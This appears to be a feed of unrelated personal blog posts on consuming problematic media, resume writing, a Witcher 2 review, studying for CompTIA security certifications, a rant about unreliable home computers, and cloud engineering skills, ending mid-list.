Want to know if something you’re consuming is okay to consume? Ask yourself: is this produced by someone who is contributing to present-day conditions? If the answer is yes, quit consuming it. If the answer is no, ask yourself, does this media make me uncomfortable because I’m aware of its roots? If the answer is yes, stop consuming it. If the answer is no, it’s probably fine. You are most likely not doing any damage, so long as you are aware of what is wrong with the content and are not using it as grounds to perpetuate harm.

If, when thinking about something problematic in an old piece of media, you cringe? You’re on the right track. If you feel inclined to make excuses for it or justify the wrong in it, it’s time to step away and reevaluate why you feel the need to do so. If you’re doing so because you feel guilty for consuming it, you need to realize that it is actually more harmful to make excuses for the wrong in order to justify your consumption than it is to admit, “Yeah, this media is problematic and contains a lot of sexism, but I still enjoy it for its other qualities.” It is better to admit that you enjoy something problematic than to spread the message that what is happening in it is okay.

Some of you may be thinking, “Or, just stop consuming problematic media.”

I think in many cases, especially recent media, where your consumption has an effect on production, this is true. However, for media that is no longer being produced, I will remind you that most things have something wrong with them - yes, even pretty recent stuff.

Supernatural kills off women constantly, queerbaited the fuck out of its viewers, and sent a huge character to fucking mega hell for confessing his love.

Scrubs has no end to its sexism, transphobic and homophobic slur usage, and other problematic content.

V for Vendetta glorifies and shines a heroic light on a character who kidnaps and tortures a woman for what appeared to have been weeks or months so that she would be forced to understand his trauma and “no longer be afraid.”

Star Wars has incest, the producers/directors abused Carrie Fisher and sexualized her as a young teen, and probably a lot more that I’m not aware of because I haven’t seen the movies nor read the books.

I don’t even need to start on shows like Breaking Bad, Game of Thrones, Community, That 70s Show, and so many more. Almost every popular piece of media has something worth canceling in it. There is no point trying to curate your media consumption to only unproblematic content, because it simply can’t be done.

Curate where it makes a difference. Sigh heavily the rest of the time. Make yourself aware what and how things are problematic. Put critical thought into how your consumption is capable of supporting or perpetuating a problem and how it is not. Make informed decisions.

Do not feel guilty if you are unable to flawlessly live up to the standards of purity culture. None of us can - not really.

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overdrivels · 4 years

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Even more unsolicited resume advice

Corona has probably hit a lot of people hard and it has been a tough time for everyone, especially people who just left college to enter the work force or have been out of a job and had been looking to get back into the force. While this might not solve much, I want to provide some additional advice piggy-backing off a previous post.

Again, Your Mileage May Vary (YMMV) since this is entirely subjective and very US-centric. A lot of the resumes that come across my desk are for specialized jobs and higher-levels, so I’ve had a bit of a disconnect with entry-level and recent grad-level resumes. Regardless, I still want to help answer some questions that people have and hopefully give a bit of a push to help you into the jobs you want.

There’s more of this sort of stuff under the tag: ‘adult drivels’.

"What do I write for my Objectives/Summary of Qualifications?"

To be very honest, I only ever see Objectives from people trying to switch careers or from internship/entry-level resumes. At least 98% of the time, we know what your objective is. It's money. I don't care if the objective is to help save the world--believe me, I've seen enough resumes that say something along those lines (worked at a place that kind of championed that and boy is the reality nasty).

Anyway. Write a short paragraph (usually 2-3 sentences, but no longer than a full paragraph) about your skillset. Give me enough detail to want to read the rest of your resume.

Examples:

Finance student with 2 years volunteer experience in business accounting, correspondences with the Federal Reserve, and federal financial law. Specializes in XYZ, etc.

I couldn't make this any more detailed, but you get the gist of it. If not, here's another one.

Recent college graduate with experience in freelance computer repairs for Windows, Mac, and RedHat Linux. Customer-oriented from # years in customer service, and willing to learn new things especially more about network infrastructure and engineering. Currently studying to pass Network and looking to pass Security+ within the next year.

This is just a personal nitpick, but be careful with very subjective character traits like ‘loyal’ or ‘hard-working’ or ‘effective leader’. Anyone can put that on a resume, but I need you to prove it in your resume. Some industries like this sort of self-description/self-evaluation, but I really don’t trust when people write that stuff down.

(Ex. Someone wrote they were detail-orientated and their resume was littered with typos. Mm, don’t trust like that.)

"I don't know what to write for my job experience. I don't have sales numbers or percentages like these websites are telling me."

You do. You have them, just not consciously.

You worked at Starbucks and trained newcomers? Fine.

"Trained ## new hires on all store procedures, safety, and customer service, and one was promoted to store manager with # months/one new hire won Employee of the Month/and I received formal recognition from corporate."

"Created new training plan/procedures/whatever and implemented it over the course of # months, reducing the time needed for training and increasing effectiveness."

Didn't work at Starbucks? Just joined a club and helped organize a bake sale? Cool.

"Sold $# worth of merchandise for [school club] [sale] which contributed to #% increase in funding for the year's activities, allowing the club to do XYZ.

Don't have the percentage? Do a reasonable guess, or ask. Or just say it helped you guys earn your field trip to wherever. Whatever it helped do.

Didn’t do anything involving cash or numbers? No problem.

“Tutored # students at least # times a week in [subject], working with them using different teaching methods such as [example] and [example]; # students were able to pass their courses with satisfactory grades (insert grades somewhere, if you’re proud of that).”

The point is: [Action] --> [Result].

What did you do, specifically? And what was the direct result? That’s what I’m looking for.

“But I’ve never held a job. This’ll be my first one. How do I write my resume?”

That’s always tough. In this case, you’ll have to play on anything you do have. Volunteer work, school activities, extracurricular activities, personal projects, awards, personal achievements, etc. Sometimes people go for a skills-oriented resume which I don’t actually see a lot.

Basically, standard resumes have your regular stuff:

Personal Information

Summary of Qualifications/Objectives

Education

Job Experiences in chronological order

Extracurricular Activities

Skills

Awards/Certifications

Whatever else

A skills based resume usually replaces the ‘Jobs’ section with a huge-ass ‘Skills Set’ section which contains several main skills you want to highlight for the job and examples of how you demonstrated these skills.

Communication

- Corresponded and tutored students struggling in [subject] class, restructuring and explaining lessons using easy-to-understand anecdotes, resulting in students passing the class with scores of no less than a B. (This is lengthy as fuck, but you get the idea.)

- Successfully led one 24-person raid a month for 2 years in an online game where quick and clear communication and timing was vital.

So, that but multiple times until it fills out your resume.

This goes against my personal opinion about subjective traits, but if it works, it works.

“Anything else?”

I turn my entire Word document into a table for formatting and then just hide all borders when I’m done.

Always, always export to PDF and do a test print. You never know how it’ll look on someone else’s screen or program. (Especially if you have LibreOffice or something, that really messed up the formatting sometimes.)

I kind of like Google’s resumes, the one they have in Google doc templates.

To make different things stand out, I mess with fonts. Like sans serif for section titles and with serif for body text. Sometimes I just start going nuts with them, but not too nuts because again, it might not be a font on someone else’s computer.

To test the visual appeal of my resume, I’d usually print it out, paste it on a wall, walk away, turn around, and try to see if I can spot my name and the different section breaks instantly from a distance. If I can’t, I know I fucked up. If I can, great, formatting is clean. One thing I hate as an interviewer is searching through walls of text for important info or section breaks.

If you can, only submit as PDF. I swear, half the time, the Word doc gets mangled by the application platform that people send them through (you know, the automatic uploading thing?) It had definitely cost a few good candidates a job simply because the program mangled the resume’s formatting.

Following these steps still won’t necessarily get you the job. This is cruel, but reality. It could be your resume. It could be just because the role is meant for someone else with a different skillset. It’s not personal. You have to keep trying.

For the last time, TAILOR, TAILOR, TAILOR. You’re fighting with about 30 other people who have put in a hell of a lot of effort to get jobs. They also want the job and have been searching just as long or longer than you. You have to give yourself an edge by not blasting a generic version of your resume at the recruiter. That’s wasting our time and your own time.

Again, all of these opinions are my own and should be taken with a handful of salt and two handfuls of personal judgement.

Good luck on your searches and may the job you want be yours.

#adult drivels

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teaandgames · 4 years

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Revisited - The Witcher 2: Assassins of Kings (2011)

I’m starting to love the Aard sign. For the uninitiated, Witcher Signs are simple magic spells that witchers can cast to give them an edge in combat. They’re scorned by most proper mages, of course, but the ability to set someone on fire whenever you want is not to be sniffed at. As for Aard, I began to refer to it as the ‘give me some space’ button. It pushes people back and sometimes stuns them. Useful when you have three people bearing down on you with greatswords.

Which happens a lot in The Witcher 2, especially as the politics have boiled over into outright war. Geralt is caught in the middle of it, naturally, but thankfully he can put up a better fight than last time. Gone is the dancing, caterwauling one-click combat. In its place is a more responsive combat system. It has its own issues but The Witcher 2 is smoother in nearly every way. Some creases remain, of course, but they’ve used a strong iron.

The reason why Geralt has so many swords pointed at him is down to what happens directly after the events of the original Witcher. An assassin - a witcher no less - makes an attempt on the king of Temeria, Foltest. Geralt foils him but assassinations rarely stop at one. Geralt is unable to stop the second attempt, successfully pulled off by a witcher whose size gives even trolls pause for through, which plunges Temeria into a bout of infighting. What’s more, Geralt is blamed for the death of Foltest and is branded a kingslayer.

I love the political half of the plot. Temeria seems to be a particularly fragile Kingdom, held together by the strings of Foltest’s rule. With him gone, the nobility are reduced to squabbling children while the kings of the neighbouring lands start making plans to muscle in. Geralt is swept up in these politics while rarely having a direct hand. The choices you make - who you save and who you kill - will affect the eventual outcome. I have about as much patience for politics as Geralt so, predictably, my actions led the land into chaos.

This sort of decision making is done well in The Witcher 2 and I think plays well into Geralt’s position in the world. He’s a witcher, made significant by his actions, and yet is repeatedly dragged into things bigger than himself, despite his protests. I like this half of the plot more than the Kingslayer side of things. The actual assassin, Letho, makes an appearance late in the second chapter but is hidden in the cave for a large section of the plot. He’s like a treat dangled on a string, repeatedly pulled away from us so we can focus on something else. It is eventually resolved but by then no one, save perhaps Geralt, gives a damn about it.

The ‘something else’ sections aren’t too bad, mind you. The second act delves more into the elves and the resistance group, the Scoia’tael, as well as the delicate politics - and less than delicate temperaments - that exist between humans and non-humans. The third act brings in the heavy politics, with Geralt sealing the fate of a crucial slice of land. The path branches a fair bit based on your choices, of course, but it’s nice to see. The writing is generally on par too, except for the same issues as The Witcher. It still fawns over Geralt - even going so far as to exclude his Kingslayer status for a large part - and its attitudes towards women are still uncomfortable.

I beat that horse pretty heavily in the last revisited, so let’s focus on what has changed: the gameplay. The combat is now free-form, with a button for light and heavy attacks. It’s more brutal than I was expecting, as you can die very, very easily. I was mentally unprepared for this and the early game was a string of deaths. I shudder to think how big all my save files are at this point. Once I got the hang of it though, the heavy hitting enemies made things a lot more tense. Dodges and blocks need to be timed perfectly; you can’t just wail on an enemy anymore.

The chopped and changed combat does come with its share of grievances though. The first is the combat preparation. I’ve spoken in favour of this in general, and I still like it, but you can’t do it on the fly in The Witcher 2. In order to drink a potion, you have to find a safe spot and get into a meditative pose before Geralt slowly chugs the bottle and wipes the sweat from his brow. It’s unnecessarily frustrating. There’d be nothing lost by having us chug on the go. Speaking of frustrating, the inventory management is another pain. We pick up so many useless items, only good for a few orens, and you can’t manually select what to pick up. It’s the whole container or nothing. Weird choice.

Then there’s the difficulty curve, which is more like a difficulty EKG readout. At the start, I was getting my arse handed to me on the regular. But as I levelled up and got stronger, the enemies never seemed to compensate. Enemies were just as bad at resisting a stun, which leads to an instant kill, so group fights could be cut down almost immediately. The curve is surely supposed to work the other way. Except for some instances where The Witcher 2 showed how proud it was of its AI tech by making fights with allies a lot harder. Including one in a confined corridor, which meant I ended up getting mobbed from all sides.

These minor annoyances aside, the characters you meet along the way were interesting enough to keep me invested. I’m not entirely happy with all their outcomes but that could be down to my choices. It’s always nice to see a choice system that isn’t just morally bad and good. My choices were snap decisions and in one case in particular it led to a worse outcome for the people I was trying to help. While The Witcher 2 leaves its Kingslayer plot in the dust - and has a few annoying gameplay quirks - the improved combat and reliably solid writing has gained it a well-earned place in the gaming world. Pros -Combat is much improved -Writing is still at a good standard -The core politics is well done -Choices have some impact -Looks and sounds nice Cons -Inventory management is a pain in the arse -As is the potion drinking animation -It still juggles Geralt awkwardly -The difficulty curve is lopsided The Witcher 2: Assassins of Kings Developer: CD PROJEKT RED Release date: 17th May 2011 Play it on: Windows, Xbox 360, Mac, Linux Played on: Windows

#The Witcher 2 #gaming #Video Games #Games #The Witcher #Geralt #Revisited #Review #Article #CD Projekt Red

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piaciibo · 4 years

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Why CompTIA Certs are worth your time

When I went off to college, I knew that I wanted to work in Cybersecurity. I chose to go to school in Pittsburgh and earn an Associates degree (all that was available, at the school, at that time), in Information Technology, with a focus in Cybersecurity. At about the 2/3rds mark of the entire program is when my class would be broken into one of two paths: Security or Network Administration. Knowing what my goal was, I wanted to make it into the Security classes so badly.

Along the way, I went from feeling energized and driven , to feeling abandoned by my classmates and a girl who I had come to like quite a bit. It wasn’t their fault, or mine, things just happened in a way that I wasn’t prepared to experience, and I allowed my drive to disappear. I didn’t care anymore, after about 3 quarters. I stopped showing up on time, and sometimes at all. I stopped putting in the effort necessary to perform at a level which would push me to achieve my goals. I did not make it into the Security classes that I had wanted to be in so badly, a year before.

Despite the many times I attempted to leave school, I decided to stay every time either because a teacher would talk me out of it, or simply because I didn’t have a car. I hated how poor I was. I hated how inaccessible many of life’s fruits were to me at the time. I finished school and came back home for my three month unpaid internship. At the end of my internship, I had earned my position in the organization and was their newest Tech Specialist.

Working in Tech Support obviously was NOT what I wanted, but, was to be expected for someone so young, and so early on in their career. I was 19 years old, and could be considered “Successful” but I wasn’t where I wanted to be, and so I was unsatisfied. I knew what I wanted to do, but had no idea how to get there. I remembered that my teachers back in Pittsburgh talked about some CompTIA certifications that were available to help you along in moving your career in the direction you wanted it to go.

With this knowledge, and a new drive to succeed, I began the journey I find myself on to this day. I bought the book for CompTIA’s Security+ SY0-401, and started reading every single day. I felt that this was a great way to get started, and that if I could just get this certification, that I could be taken seriously in Security and maybe get a security role in some company outside of the one I was employed by. By the time I finished the book (About 3 months of rigorous study time between phone calls on-shift), I believed myself to be ready and also - burned out.

Burned out on the material, I decided to take a break and return to it again later. A few weeks go by, and I picked the book back up, to review material. I felt, again, that I was ready to take the exam, so I pulled up the CompTIA site, to find out something that would derail me for the next 11 months. The exam I had studied for, had expired. I didn’t even know they would, or could, after such a short period of time (3 years).

A year goes by, and I had learned my lesson. Sick of working in Tech Support, I decided to buy the books for the new exam (SY0-501). They arrived the next day and I had the killer mentality activated. I wanted it so bad, that I studied for roughly 4-5 hours per day. I studied at home, I studied at work, I studied in the middle of the night when I couldn’t sleep. I wanted it BAD. I already knew most of the material from the first exam, so a lot of it was a refresher, but, I did see some new material popping up and that was important for my eventual result.

After 3 months of hardcore work, I was ready again. I took and passed the exam. Now, Security+ Certified, I figured, I could land a security job. After all, that’s all that made it worth taking, right? WRONG

My knowledge and ever-growing interest in the field didn’t matter when I applied to tons of places. I had waited to apply for jobs, so that I could further develop, and I felt as though I had, considering the limitless reading on security topics that I was doing. I was fully invested in making myself “hire-able” and yet, when the time came for me to get my hopes up, I did, and I fell hard. Nobody wanted me to work in their SOC, or as a specialist of any time anywhere. I took another job, for more pay, but, it was still in Tech Support.

So, now, I am still working in Tech Support and I have a Security certification that is sitting stagnant. I figured, maybe the reason they didn’t hire me was because I didn’t have enough on my resume to prove I could do what I was applying for. I decided to go after another CompTIA certification. I bought the books for CySA+, and they arrived a few days later. This time around, I wanted to maintain the family man figure I had become, so I took it a little bit slower this time, and consumed the material as quickly as a humble schedule would allow. In less than 30 days, I had studied, scheduled, and taken the CySA+ CS0-001 exam. I passed!

Now, with two security certifications, I can hold my head high and go get me a security job. WRONG. Still, I found little interest in me as a candidate, and maybe that’s because I live in a highly populated area where talent is rich. I won’t take a pay decrease, because I have a family to support, so I have decided to study and eventually take the new Pentest+ exam (PT0-001).

So after all of this effort, spending over $700, and not getting hired, why is it that I love CompTIA? Don’t I want to credit them when their certifications earn me the job I want? Sure. But here’s the deal - I am self-aware and I know what I need to do to get the job I really want. I can’t expect an employer to hire me because two certifications say that I know what I’m doing. They need a bigger sample (which is why I’m writing this, to be honest). As someone who is passionate, I need to increase my visibility to the audience that I want hiring me

The reason I love CompTIA and the material that they provide, is because they offer young people (and anyone early into their IT career, of course) the opportunity to learn and prove their knowledge to employers in the IT workforce. Say what you want about the reputation of the certifications, they teach you valuable material. I am living proof - have a conversation with me about security and you’ll see that despite the reputation of the certifications, I certainly know my stuff.

Reading CompTIA’s material has made me a better support technician, but, has also taught me new concepts and led me to new ways of thinking that I wouldn’t otherwise have. I owe my skill and broad knowledge to CompTIA, and because of them, I can project my knowledge into many situations, which helps me get noticed internally at work. I may not be able to come in to work on my first day as a Security Analyst (one day) and just work without training, but, I can definitely talk the talk, and I can understand concepts and can learn things in a practical setting very rapidly due to my prior knowledge gathering. You’d be hard-pressed to find another support tech who knows as much as I do about security, who has no role or experience within the field as of yet.

To date, I have read the following CompTIA books, which have molded me into a very knowledgeable, hard-working technician:

- Linux+

- Network+

- Security+ (2)

- CySA+

and now Pentest+

If you are just after a job, you need to change your field. If you want to be educated, and know what you’re talking about, you can’t go wrong by starting here. See you in the SOC one day soon ;)

#Security Cyber SOC CySA+ Pentest+ Network+ Security+ Cybersecurity Technology InformationTechnology Certification

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jayne-hecate-writer · 4 years

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Old and Useless

I am fucking angry, but my rage is impotent and useless because the people I am angry at, don’t care that I am angry. Actually, they do care a little bit and they are arguing that my anger is unjustified and unfair on them. I did not realise that I was a bully and was asking so much from them…

So you may be asking who I am so angry with and why am I being so unreasonable? The answer is complicated, but my dear reader, it is really not you, well unless you are one of those people mentioned above. You see, I am angry with the big names of the tech industry and the reasons as to why, are both complex and deep. To explain this anger, I need to tell you a story, a true story in fact, that started a little over twenty years ago. So settle down, put your feet up and let us go back through the swirly mists of time to the autumn of 1995, when I started my degree at a prestigious British university.

My University was neither prestigious or an actual university. It was a former teacher training college that had in the past trained nice young ladies to be nice young teachers of nice young children. The grounds that these nice courses were taught in, were beautiful, with ancient trees, two small lakes with a folly that looked just like Camelot from Monty Python. The college was however, not happy being just a run of the mill college, because a simple college did not make much money when compared to a prestigious University and so they set about changing from a college into a... University College, a subtle change, but a change for the better they assured us, the actual students of the place. But after all of the expensive name changes and font changes on the new name, the leaky roof still leaked in the student accommodation and the library still had not bought a new book for three years, but they were going to modernise the place with a whole new building.

When I started my degree, my essays were hand written on stuff called lined paper, or if we could afford to buy one, they were typed up on an electronic typewriter. The college had put up a new and rather ugly building that was filled with these wondrous boxes of blinking lights, boxes of lights that were the early home computers and they came with a thing called Windows 95 that allowed you to look at pixilated images of boobies. They were amazing.

Were they really amazing? The correct answer is no, no they were not. The problem was that to someone who had never used a computer before, it was a box that made a lot of noise and a filthy heat, that took up a lot of space on my desk and did very little, even when asked. I poked the keyboard and moved the funny little box on a wire and the pointer on the screen moved too, I was entranced.

I did not play with those boxes of lights again until several years later when back in another university (again a former polytechnic that wanted to be posher and thus changed its name and status!) I was told that my essays needed to be submitted typed up or word processed. Excited, I dived into the world of home computing and spent hundreds of pounds on my own box of lights and switched it on to be greeted by the green fields of the Windows XP screen background and the appalling monster that was Clippy, the word assistant in the shape of a talking paper-clip. He would pop up when I was typing and ask me if I wanted help with my essay and would then offer me useless advice that had no relevance to what I was doing. Clippy was the first piece of technology that I regularly told to fuck off.

My first home network came in 2005, when the chance to buy a second computer presented itself and although it was broken, I could fix it. Putting the two of them together and seeing them communicate for the first time was amazing. I could drag files from one computer and put them on another. I could work on two projects at the same time and swap files between them on two different machines. Windows XP was so easy to use, wasn’t it?… No, it wasn’t. Windows XP was all that I had available at the time and I had to train my brain to think in the Windows XP way. It had plenty of quirks and numerous faults and to add further insults, with two machines, I had two versions of Clippy that I was forced to to tell to fuck off. Then my hard drive died.

I was lucky, I had back ups on CD of most of my files, but not of everything and that included the operating system. Thankfully I had the original install disk, a CD that contained Windows and another that contained Office and that cunt Clippy. Only, the disk was keyed to only one of my computers and when asked to submit a code, it was most unhappy and said no. That was the very first time that a computer said no to me. I consulted an expert and was informed that I needed to pay an awful lot of money to Microsoft in order to fix my computer and that was before I paid the already mentioned man, an awful lot to put on the computer what Microsoft gave him. So, after an awful lot of money exchanged hands, I had two computers once again, but not for long.

This time, the fault was more serious, the outer box stayed the same, but the bits inside changed. This was the first time I encountered something called a Mother Board and another thing called a graphics card. Then came the sound card and the memory and the hard disk and the optical drive and the LAN card and the USB expansion and the second hard disk and before I knew it, I was looking at a pile of parts that had cost hundreds of pounds and none of it fucking worked yet because of fucking Microsoft.

This pile of parts led me down the path of not wanting to keep giving Microsoft hundreds of pounds every time I rebuilt my computer. So I started playing with something called Linux. It was anarchic they said, it broke away from conventions they said. It does everything Windows does, but even better they said… They lied. Very quickly I had to learn about a thing called ‘The Terminal’ into which I typed out lines and lines of code. After which, I would hit return and then I would have to search through hundreds of lines of code to find the place where I had mistyped a character or two. Then I would repeat that process several more times, adding more code and finally, I had a working computer. Making it talk to the Windows XP machine was a trial because it seemed that they spoke different languages, but I did it and speak to each other they did.

My new Linux machine played my DVD movies, it played my music CDs and I was able to write on it without being interrupted by that shitcunt Clippy. But Linux back then was not all that stable and glitches would start to appear and before I knew it, I spent just as much time typing in code as I did listening to music. The two computers stopped talking to each other and I had to work really hard to make them friends again. My first machine now long dead seemed like a mere pocket calculator compared to what I had found myself with. The Micro ATX board the size of a drinks coaster had been replaced by something faster, bigger and more fun, but these money pits soon began to drain my purse of funds needed for other projects and as funds grew tight, the computers complained all the more, leaving me with just one computer again and a box of lights that had gone dark.

My first laptop had windows ME on it and it would seize up and need restarting after twenty minutes of work or half an hour of theme hospital. I really miss theme hospital, it was very silly and it was lots of fun, but it, like my laptop and Windows ME and Windows XP and Windows 7 and Windows 8 and Windows 8.1 are all long gone and here lies the nub of every issue I have with technology now. The constant need for the next new thing and frankly it boils my piss. I am fizzing in the gusset right now and not in a good way, this is anger, I am royally pissed.

In 2013 I bought a new laptop computer from PC world, a mistake I would repeat only once more. Thanks mainly to the advice from the sales adviser, who told me that the Google Chromebook was the next advance in home computing, I started looking at one. “Does it work away from home?” I asked in all innocence. I was assured that it did and with it freshly purchased, I promptly pissed off to a desert island in the Indian ocean looking forwards to writing up my adventures on my new laptop. It did not work. It would not even switch on without a connection to wifi. Finally and unbelievably on a remote desert island, we found a Pizza restaurant and I managed to switch on the Crapbook (a name I now give you for every Chromebook in existence) using their slow wifi. The Crapbook proved time and time again just how much of a worthless pile of shit it was. It promised so much and provided so little in return. In the end, I used it only to watch YouTube while in the bath because frankly every ‘Ap’ on the damn thing was fucking shit. As a writer, I wanted a laptop that could use office software to type up my stories. The Crapbook could do this, but it had no spell checker, it could not save to the laptop hard drive and when transferring files to another computer, the document would be turned into indecipherable gibberish. With imported documents, it would destroy formatting and leave behind a document that had so many page errors that not even a Windows machine could repair it.

Also, the Crapbook could not talk to the Windows Machine (now on Windows 10) on he home network, but then, neither could the iMac, the Sony Smart phone, my USB stick or my external hard drive. I was by now running four computer systems, the Crapbook, the iMac, the Windows 10 Laptop and the Linux desktop. None of them were capable of communicating with each other across the network, either wired or wireless. The Crapbook was a joke at the best of times, but when I discovered that this was the only machine that could read every USB stick I owned, but none of the others could, I almost threw it out of a window.

The problem was how the USB drives were coded. The Linux machine could see all of them, but could only write to the external hard drive. It could read from the blue USB stick, but not write to it. The red USB stick would register, but the Linux machine would say that the drive was faulty and I would have to restart the machine three times just to be able to remove it safely! The old MP3 player that worked as a USB memory stick could be written to by the Linux machine, but it could not delete files and would instead turn the drive from eight gigs of data, into three song and a large file called trash, that contained every file I wanted to delete, but it seemed permanently burned onto the drive, never to be removed. I gave up trying in the end.

The Windows machine can see the external hard drive, but depending on some unknown variable can or cannot write to the drive. Some days it can and all is well. These will be the days when the system volume also works and I can make my headphones louder by clicking the appropriate button. However, some days Windows decides that my pressing the volume button is a sign of my need for existential peace and it ignores my request for louder or quieter music. On these days, the external hard drive becomes a place of mystery too. The Blue USB stick does not exist and the red one is old and slow.

The iMac could see the external drive, but not the USB sticks. If it did see the USB sticks, it would delete them and I would have no idea if they were safe to remove from the computer. Writing to the External hard drive was also impossible. As was taking data from it, but it could see it.

As I write this, I am back on the Linux desktop because the Windows Laptop has been unusable for almost four days. Why is this you may ask? The answer is because when I bought it, I could not afford very much and so bought myself a budget laptop. It has a Core i3 processor and four gigs of ram. The board in the case is the size of my mobile phone and the processor and the cooling fan are on opposite sides of the case (this is relevant shortly) with just one air vent, towards the front of the computer. While trying to render a picture of a Lego model, the computer began to overheat. The fan speed increased to maximum and the keyboard developed a hot spot that made it uncomfortable to use and then the screen went dark as the machine simply shut down. A full thermal throttling shut down that required fully dismantling to blow the dust from the fan and clear the pathway between fan and CPU. Given the amount of space inside the laptop casing, I am forced to ask why there is a six inch gap between the fan and the CPU, plus a four inch gap between the fan and the vent? The heat coming through the bottom of the machine made it uncomfortable to actually have on my lap (never do this, it blocks the vents) and the computer shut down to protect itself. When I finally restarted the laptop, I discovered that it had developed yet another instability, possibly due to thermal damage of the CPU. Meanwhile in the background, Windows update (that you cannot turn off) was slowly sucking away processing time from other functions. I have set the times when Windows can do updates, which is every evening when I am not writing. However, this update has got bigger and bigger, drawing more and more CPU time (I know because I have been watching the progress with CPU ID and monitoring the core temps) and is as we speak, only 8% downloaded of whatever current update it is now on, having restarted three (edit- four!) times already this morning.

So why am I angry? I am angry because none of these fucking things work as promised. When I do finally get them to work as I want, updates come down that fuck with my settings. I cannot prevent updates, they come with inevitable gloom and yes, I am aware that I can delay them or stop the machine from downloading on a metered connection, but just like HG Wells’ Martians, still they come! For four days, my Windows 10 Laptop has been installing, downloading and installing updates. It has been hanging while installing updates that when looking on the Microsoft website, they say it is time to start coding in the terminal.

The Crapbook gave me a message recently that read in nicer language, “give us more money or we will reveal your banking details to scammers…” Thanks for that Google, you cunts.

The Linux machine wants to update to the next version of the OS, that I have tried and really don’t like because it tries to make my desktop work like a mobile phone.

The iMac keeps telling me that it is too old and is not safe to use on line any more.

The Smart phone will interrupt what I am doing with it, to show me adverts. It also on occasion refuses to allow me to answer actual phone calls, because to do so, I must first attempt to close down an advert for emojis that will randomly appear. An advert that I neither wanted or asked for.

What was once a tool and an essential learning aid has become nought but a shallow toy, filled with advertising junk, following my every key tap, not to help me, but to sell me shit I don’t want and steal my data for companies to buy and sell me more shit I really don’t want. The machines I knew and loved are gone. Media outlets such as Linus Tech tips tell us that using old machines on line is irresponsible because it endangers everyone else to attack from scammers. The message is plain. Old is bad. Repair is bad. Throw it away and buy a new one… BUY BUY BUY, never fix. Sell my soul for old shit I don’t want. Stop using these wondrous machines for actual creative processes and use them instead to buy emojis for chatting with my friends. I fucking hate it. I fucking hate that tech companies can make their expensive computers so disposable. As much as I loved the iMac, Apple can fuck themselves in their arses with burning hot iron spikes for making them almost impossible to repair and even my trusted ASUS have gone the same way by putting the fan and the CPU in different sides of the case. Apple, Microsoft and Google have taken apart the computer world and used it to extract money from us the consumer, as if they did not have enough already. Also and probably finally for this angry rant, I really liked Theme Hospital! Bloaty Head Disease made me laugh and I can’t fucking play it any more.

I fucking hate these technology companies. They claim that they are making everything better, but what they are doing is making old but good things useless just so that they can convince us to buy the newer models of the old ones each year. To hell with the environmental impact of all of the e-waste, consume, play, dispose… When did computers become digital nappies?

PS. The Laptop is now on 85% of its forth install and restart of the day…

#apple inc #microsoft #linux #Home Computers #right to repair #Clippy #windows 10 #windows update

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edufyzofficial-blog · 4 years

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Skills a Cloud Engineer should Learn

The popularity of Cloud Computing has rocketed sky-high and on the other hand, Forecasters have also given it a thumbs up suggesting that Cloud Computing is here to stay. No wonder we see a rise in the number of individuals wanting to make a career in this domain. If you too have a similar desire then we are sure you must have questions like what skills you should learn to become a Cloud Engineer? This blog will help you answer these questions so continue reading!

Skills You Should Learn To Become a Cloud Engineer

As a Cloud Engineer, you will be working with cross-functional teams which are a mix of software, operations, and architecture. This means when it comes to learning these skills, you would have quite a few options in your bag you can choose from. Here are some of the must-have cloud engineer skills:

1. Cloud Service Providers

If you are to get started with Cloud Computing you cannot do that without understanding how different Cloud Service providers work. Several Cloud Service providers offer end to end services like compute, storage, databases, ML, Migration, that is why almost everything related to cloud computing is catered by them making it a vital cloud engineer skill.

It is important that you choose at least one from many that are available. AWS and Azure are now the market leaders and compete for neck and neck in the Cloud market. AWS has the experience of holding the top position in the tech market and is known for its niche. On the other hand, Azure is a Microsoft product making it easier to integrate with almost all the stack of Microsoft products that are there. Moreover, GCP, Openstack has its stranglehold in big data and software development markets respectively. Depending on the business needs, you would be required to choose one or more providers for your job role.

Each of these service providers has their free tier for the usage which is enough to get you started and have sufficient hands-on practice.

2. Storage

Cloud storage can easily be defined as “Storing data online on the Cloud”, so the company’s data is stored and accessed from multiple distributed and connected resources. Some of the crucial benefits of Cloud Storage are as follows:

Greater accessibility

Reliability

Quick Deployment

Strong Protection

Data Backup and Archival

Disaster Recovery

Cost Optimisation

Depending upon the various needs and requirements of an organization, they may choose from the following types of storage:

Personal Cloud Storage

Public Cloud Storage

Private Cloud Storage

Hybrid Cloud Storage

The fact that data is now centric to Cloud Computing, it is very important that one understands where to store and how to store it. This is because the measures taken to achieve what is mentioned above may vary based on the type and volume of data an organization wants to store and use. Therefore, understanding and learning how Cloud Storages work for you would be a good idea making it an important cloud engineer skill. Now, various other popular storage services cloud service providers use. So, to name a few popular ones, we have S3, Glacier in AWS, blobs & Queues, Data Lakes in Azure.

3. Networking

Coming to Networking, it is now related to cloud computing, as centralized computing resources are shared for clients over the Cloud. It has spurred a trend of pushing more network management functions into the cloud so that fewer customer devices are needed to manage the network.

The improved Internet access and reliable WAN bandwidth have made it easier to push more networking management functions into the Cloud. This, in turn, has increased the demand for cloud networking, as customers are now looking for easier ways to build and access networks using a cloud-based service.

A Cloud Engineer may also be responsible for designing ways to make sure the network is responsive to user demands by building automatic adjustment procedures. Hence understanding of networking concepts and fundamentals and Virtual Networks are very important Cloud engineer skills as they are centric to networking on the Cloud.

4. Linux

On the other hand, Linux is bringing in features like Open source, easy customization, security, etc. making it a paradise for programmers. Cloud providers are aware of this new fact and hence we see the adoption of this Linux system on different cloud platforms.

Now, if we take into consideration the number of servers that power Azure alone, you would note that around 30% of those are Linux based. So, if you are a professional with skills like architecting, designing, building, administering, and maintaining Linux servers in a cloud environment, you could survive and thrive in the Cloud domain with this single cloud Engineer skill alone.

5. Security and Disaster Recovery

With internet thefts on the rise, cloud security is important for all organizations. Cloud security aims at protecting data, applications, and infrastructures involved in cloud computing. It’s not much different from the security of On-premise architectures. But the fact that everything is moving to the Cloud, it is important one gets a hang of it.

For any computing environment, the cloud security always involves maintaining adequate preventive measures like:

Knowing that the data and systems are safe.

Tracking the current state of security.

Tracing and responding to unexpected events.

If these operations interest you then let me tell you Security and Disaster Recovery related concepts will help you immensely as a Cloud Engineer or Cloud Admin. These are the methodologies that are central to operating software in the Cloud.

6. Web Services and API

We already know that the underlying foundation is very important to any architecture. Cloud architectures are heavily based on APIs and Web Services because Web services provide developers with methods of integrating Web applications over the Internet. XML, SOAP, WSDL, and UDDI open standards are used to tag data, transfer data, describe, and list services available. Plus you need API to get the required integration done.

